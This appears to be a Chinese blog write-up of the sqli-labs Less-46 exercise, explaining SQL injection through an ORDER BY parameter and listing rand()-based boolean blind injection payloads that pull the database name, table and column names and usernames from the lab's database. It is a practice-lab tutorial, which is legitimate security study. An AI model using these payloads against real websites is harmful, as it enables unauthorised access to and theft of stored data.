当前位置:网站首页>SQL注入 Less46(order by后的注入+rand()布尔盲注)
SQL注入 Less46(order by后的注入+rand()布尔盲注)
2022-07-31 22:34:00 【华为云】
$id=$_GET['sort'];$sql = "SELECT * FROM users ORDER BY $id";
我们的注入点在 order by 后面的参数中,==而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入==。
测试是否存在注入点
?sort=1 desc
?sort=1 asc
desc是 descend 降序意思
asc 是 ascend 升序意思
返回结果不同,说明可以注入。可利用 order by 后的一些参数进行注入
==关于下面的这部分与解题无关,直接看布尔盲注的部分即可==?sort=right(version(),1)
?sort=left(version(),1)
返回结果都是
我觉得可能是字符型的数字,所以又试了一下
不知道是不是会自动进行类型转换啥的
?sort=5
?sort='5'
所以,left(version(),1)返回的应该确实是字符型的数字
布尔盲注
select * from users order by rand();
对users表随机进行排序。
rand()返回的是一个0-1的浮点数,order by 后面跟的是列名或列号。
这里其实可以理解成users表中增加了一个rand字段,字段值是随机产生的。根据该rand字段来对users表进行排序。所以就到达了随机排序的效果
更多原理,看这篇
MySQL-17:order by rand()
select * from users order by rand(1);
select * from users order by rand(0);
?sort=rand(1)
?sort=rand(0)
?sot=rand(1=1)
?sort=rand(length(database())=8)
?sort=rand(ascii(substr(database(),1,1))=115)
?sort=rand(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
?sort=rand(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i')
?sort=rand(ascii(substr((select username from users limit 0,1), 1,1))=68)
当然这一题可以用时间盲注和报错注入来写的,Less47会用报错注入来写
https://blog.csdn.net/Kevinhanser/article/details/81563461
https://blog.csdn.net/weixin_43901998/article/details/107577630
边栏推荐
- 标段参数说明
- Financial profitability and solvency indicators
- Implementation of a sequence table
- Fixed-length usage of nanopb string type based on RT1052 Aworks (27)
- focus on!Haitai Fangyuan joins the "Personal Information Protection Self-discipline Convention"
- Audio alignment using cross-correlation
- Chapter VII
- 如何减少软件设计和实现之间鸿沟
- C#中引用类型的变量做为参数在方法调用时加不加 ref 关键字的不同之处
- 【核心概念】图像分类和目标检测中的正负样本划分以及架构理解
猜你喜欢
Implementation of a sequence table
Socket Review and I/0 Model
【论文精读】iNeRF
景区手绘地图的绘制流程
Chapter Six
顺序表的实现
Go mode tidy reports an error go warning “all” matched no packages
数据分析(一)——matplotlib
Unity - by casting and cloning method dynamic control under various UGUI create and display
Federated Learning: Multi-source Knowledge Graph Embedding in Federated Scenarios
随机推荐
「APIO2010」巡逻 题解
标段参数说明
Flink_CDC construction and simple use
find prime numbers up to n
Pytest初体验
BM5 merge k sorted linked lists
Several methods for deleting specified elements in Golang slices
景区手绘地图的绘制流程
Qualcomm cDSP simple programming example (to query Qualcomm cDSP usage, signature), RK3588 npu usage query
22年8月推广大使额外奖励规则
hboot与recovery、boot.img、system.img
Write a database document management tool based on WPF repeating the wheel (1)
"SDOI2016" Journey Problem Solution
server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none failed
UserAgent resolution
GateWay implements load balancing
IJCAI2022 | 代数和逻辑约束的混合概率推理
面试突击69:TCP 可靠吗?为什么?
ECCV 2022 Huake & ETH propose OSFormer, the first one-stage Transformer framework for camouflaging instance segmentation!The code is open source!...
Student management system on the first day: complete login PyQt5 + MySQL5.8 exit the operation logic